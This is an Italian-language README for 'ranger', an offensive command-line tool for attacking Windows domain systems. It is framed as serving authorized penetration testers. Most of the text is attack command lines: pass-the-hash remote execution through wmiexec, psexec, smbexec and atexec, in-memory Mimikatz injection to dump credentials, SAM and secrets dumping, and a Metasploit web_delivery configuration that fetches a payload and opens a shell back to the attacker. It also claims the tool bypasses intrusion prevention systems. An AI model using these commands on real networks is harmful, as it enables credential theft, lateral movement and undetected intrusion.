ranger

Uno strumento per supportare i professionisti della sicurezza nell'accesso e nell'interazione con sistemi Microsoft Windows remoti.

Questo progetto è stato concepito con il pensiero che non abbiamo inventato l'arco o la freccia, solo un modo più efficiente di usarli.

Ranger è uno strumento di attacco e penetration testing a riga di comando, in grado di utilizzare un server catapulta istanziato per fornire capacità contro sistemi Windows. Finché un utente ha un insieme di credenziali o un insieme di hash (NTLM, LM, LM:NTLM) può ottenere l'accesso ai sistemi che fanno parte del trust.

Utilizzando questa capacità, un professionista della sicurezza può estrarre credenziali dalla memoria in chiaro, accedere alle tabelle SAM, eseguire comandi, script PowerShell, binari Windows e altri strumenti.
Al momento, lo strumento bypassa la maggior parte delle soluzioni IPS dei vendor, a meno che non siano state appositamente configurate per rilevarlo. Lo strumento è stato sviluppato utilizzando i nostri home lab per supportare i professionisti della sicurezza in attività legalmente e/o contrattualmente autorizzate.

Altre funzionalità verranno aggiunte, ma al momento lo strumento utilizza i contributi della community da repository relativi ai team di PowerShell PowerView, PowerShell Mimikatz e Impacket.

Gestione di Ranger:

Installazione:

wget https://raw.githubusercontent.com/funkandwagnalls/ranger/master/setup.sh
chmod a+x setup.sh
./setup.sh
rm setup.sh

Aggiornamento:

ranger --update

Utilizzo:

• Ranger utilizza una combinazione di metodi e attacchi; un metodo viene utilizzato per erogare un attacco/comando
• Un attacco è ciò che si intende realizzare
• Alcuni elementi sono sia metodo che attacco combinati, e alcuni metodi non possono utilizzare alcuni attacchi a causa di limitazioni attuali nelle librerie o nei protocolli

Metodi e Attacchi:

--scout
--secrets-dump

Metodo:

--wmiexec
--psexec
--smbexec
--atexec

Attacco:

--command
--invoker
--downloader
--executor
--domain-group-members
--local-group-members
--get-domain-membership
--get-forest-domains
--get-forest
--get-dc
--find-la-access

##Esecuzione dei Comandi: ###Trova Utenti Collegati:

ranger.py [-u Administrator] [-p Password1] [-d Domain] --scout

###Shell Comandi SMBEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --smbexec -q -v -vv -vvv

###Shell Comandi PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -q -v -vv -vvv

###Esecuzione Comandi PSEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --psexec -c "Net User" -q -v -vv -vvv

###Esecuzione Comandi WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec -c "Net User"

###Iniettore Memoria PowerShell Mimikatz WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker

###Iniettore Memoria Metasploit web_delivery WMIEXEC (richiede configurazione Metasploit, vedi sotto):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader

###Iniettore Memoria Codice Personalizzato WMIEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -c -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds"

###Esecuzione Comandi ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --atexec -c "Net User" --no-encoder

###Iniettore Memoria PowerShell Mimikatz ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --invoker --no-encoder

###Iniettore Memoria Metasploit web_delivery ATEXEC (richiede configurazione Metasploit, vedi sotto):

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --downloader --no-encoder

###Iniettore Memoria Codice Personalizzato ATEXEC:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --executor -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds" --no-encoder

###Iniettore Memoria Codice Personalizzato SECRETSDUMP:

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --secrets-dump

###Crea Attacco Mimikatz Incollabile:

ranger.py --invoker -q -v -vv -vvv

###Crea Attacco web_delivery Incollabile (richiede configurazione Metasploit, vedi sotto):

ranger.py --downloader -q -v -vv -vvv

###Crea Attacco Executor Incollabile:

ranger.py --executor -q -v -vv -vvv

Identificazione Membri dei Gruppi e Domini

• Quando si identificano i gruppi, assicurarsi di determinare il dominio di query effettivo con --get-domain-membership
• Poi, quando si interroga un gruppo, utilizzare l'opzione facoltativa --domain, che consente di puntare a un dominio diverso da quello in cui si è effettuato l'accesso

ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --get-domain-membership
ranger.py [-u Administrator] [-p Password1] [-d Domain] [-t target] --wmiexec --domain "Domain.local2"

##Note sull'Utilizzo: ###Formato File Credenziali:

• È possibile passare un elenco di nomi utente e password o hash nel formato seguente nello stesso file:

username password
username LM:NTLM
username :NTLM
username **NO PASSWORD**:NTLM
PWDUMP
username PWDUMP domain
username password domain
username LM:NTLM domain
username :NTLM  domain
username **NO PASSWORD**:NTLM domain
PWDUMP domain
username PWDUMP domain

###Avvertenze sul File Credenziali:

• Se si forniscono nomi di dominio nel file, verranno utilizzati al posto del WORKGROUP predefinito.
• Se si fornisce il nome del dominio tramite riga di comando -d, si presuppone che si desideri ignorare tutti i nomi di dominio nel file.

###Esecuzione da Riga di Comando:

• Se non si desidera utilizzare il file, è possibile passare i dettagli direttamente tramite riga di comando.
• Se si desidera fornire hash anziché password, basta passarli tramite l'argomento password.
• Se sono in formato PWDUMP e non si fornisce un nome utente, il nome utente verrà estratto dall'hash.
• Se si fornisce un nome utente, si presuppone che lo stesso hash si applichi a un utente diverso.
• Utilizzare i seguenti formati per la password:

password
LM:NTLM
:NTLM
PWDUMP

###Target ed Esclusioni:

• Target ed esclusioni possono essere utilizzati contemporaneamente

####Target, Intervalli di Target, CIDR di Target, Elenchi di Target, Target da XML NMAP:

• È possibile fornire un elenco di target utilizzando un elenco di target o tramite l'opzione target.
• È possibile fornire più file di elenco di target separandoli con virgole; i dati verranno aggregati e i duplicati rimossi, e verrà escluso il proprio indirizzo IP dall'interfaccia predefinita o da quella fornita.
• Lo strumento accetta notazioni CIDR, intervalli piccoli (192.168.195.1-100) o intervalli grandi (192.168.194.1-192.163.1.1) o indirizzi IP singoli.
• Ancora una volta, basta separarli con virgole nella riga di comando o inserirli in un file con delimitazione di nuova riga.
• È possibile utilizzare anche XML Nmap per individuare i sistemi target; anche questi possono essere separati da virgole
• Lo strumento normalizzerà e rimuoverà i duplicati prima di puntare alle macchine
• ESEMPIO: -t 192.168.195.1-100,192.168.195.200-192.168.198.3 -tl list1,list2,lis3 -tnX scan1.xml,scan2.xml

####Esclusioni, Intervalli di Esclusione, CIDR di Esclusione, Elenchi di Esclusione, Esclusioni da XML Nmap:

• È possibile escludere i target anche utilizzando gli argomenti di esclusione; quindi se non si tocca una piccola Classe C all'interno di una Classe A, lo strumento lo gestirà per voi.
• Le esclusioni possono essere effettuate esattamente nello stesso modo dei target; basta sostituire la t nei comandi con e
• ESEMPIO: -e 192.168.195.1-100,192.168.195.200-192.168.198.3 -el list1,list2,lis3 -enX scan1.xml,scan2.xml

Sistemi di Protezione dalle Intrusioni (IPS):

• Mimikatz, Downloader ed Executor utilizzano l'iniezione in memoria di PowerShell chiamando altri servizi e protocolli.
• I comandi sono doppiamente codificati e bypassano le attuali soluzioni IPS (anche di nuova generazione) a meno che non siano specificamente configurate per rilevare questi attacchi.
• ATEXEC è l'unico che attualmente scrive su disco e non codifica; c'è ancora del lavoro di riscrittura da fare.

Attacchi Invoker:

• Esegue PowerShell Mimikatz sulla macchina target
• Imposta come predefinita la funzione/cmdlet su Invoke-Mimikatz, che può essere modificata con -f
• Imposta come predefiniti gli argomenti su DumpCreds, che possono essere modificati con -a
• Invoker richiede entrambe le opzioni -f e -a se si desidera modificare il comando; per evitare di usare -a si può usare Executor
• ESEMPIO: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"

Attacchi Executor:

• Consente di eseguire binari e/o script PowerShell sulle macchine target
• Devono trovarsi nella directory corrente in cui si trova lo script o il binario sulla propria macchina di attacco
• Lo script o il binario verranno iniettati direttamente in memoria
• Richiede che il payload (binario o script) sia identificato con -x
• Richiede che la funzione/cmdlet/argomenti siano definiti con -f
• Opzionalmente, è possibile definire ulteriormente il comando con -a se lo strumento lo richiede
• ESEMPIO 1: -x "im.ps1" -f "Invoke-Mimikatz" -a "DumpCreds"
• ESEMPIO 2: -x "im.ps1" -f "Invoke-Mimikatz -DumpCreds

Attacchi Downloader (web_delivery):

• Per configurare Metasploit per l'exploit web_delivery, avviare Metasploit e configurare l'exploit in modo che soddisfi le seguenti condizioni.

use exploit/multi/script/web_delivery
set targets 2
set payload <scegli il payload desiderato>
set lhost <il tuo IP>
set lport <porta per la shell, assicurati che non sia in conflitto con altre porte>
set URIPATH /
set SRVPORT <lo stesso impostato con l'opzione -r in ranger; il valore predefinito è 8888>
exploit -j

##FAQ

###Errori di Accesso Negato per SMBEXEC e WMIEXEC Ricevo errori di accesso negato su macchine Windows che fanno parte di un WORKGROUP.

Quando non si fa parte di un dominio, per impostazione predefinita Windows non ha condivisioni amministrative. SMBEXEC si basa sul fatto che le condivisioni siano abilitate. Inoltre, WMIC non è abilitato sulle macchine WORKGROUP. SMBEXEC e WMIEXEC sono progettati per colpire i protocolli abilitati sui sistemi di dominio. Sebbene sia certamente possibile abilitare queste funzioni su un sistema WORKGROUP, notare che si stanno introducendo protocolli vulnerabili (dopo tutto, è per questo che questo strumento è stato creato per attaccare). Abilitare queste funzionalità sul proprio sistema domestico principale che il partner utilizza anche per Facebook probabilmente non è la migliore idea.

• Assicurarsi che si tratti di una macchina di test di propria proprietà. È possibile forzare l'abilitazione delle condivisioni seguendo le istruzioni qui: http://www.wintips.org/how-to-enable-admin-shares-windows-7/
• Se si desidera determinare quali condivisioni sono esposte e poi colpirle, è possibile utilizzare uno strumento come enum4linux e poi usare l'argomento --share share_name in ranger per tentare di eseguire SMBEXEC.

##Funzionalità Future: ###Output Colorato:

• Continuare ad aggiungere output colorato con https://pypi.python.org/pypi/colorama
• WINDOWER – Eseguire PowerShell senza nascondere la finestra per evitare alcuni sistemi di monitoraggio
• GATHERER – Estrattore automatico di credenziali per un gruppo di dominio
• HUNTER - Decisione Semi-Intelligente (SID) – Identifica un percorso di escalation basato su somiglianze di appartenenza ai gruppi utilizzando alberi di classificazione
• Migliore parsing di NTDS e Gruppi
• Server Catapulta SMB

#Ringraziamenti:

• Microsoft per PowerShell (e in anticipo per bash su Windows!)
• Al Team CoreLabs Impacket
• Team PowerShellEmpire
• Mattifestation per aver avviato PowerSploit e PowerShellMafia e contributori per averlo sviluppato ulteriormente
• I nostri amici e la comunità per la comunità costruttiva

Presentato a:

[BSides Charm City 2016: 23 Aprile 2016] (http://2016.bsidescharm.com/2016-talks/ranger-it-just-takes-one-account-to-take-down-an-enterprise)

Video della Presentazione:

[Video] (https://youtu.be/HrXTrPzdR2Q?list=PL0YXeUocWA4NAGPmYdKNmQEh8H6iL_4Ik)

Distribuzioni di cui lo strumento fa parte:

[Black Arch Linux] (https://blackarch.org/)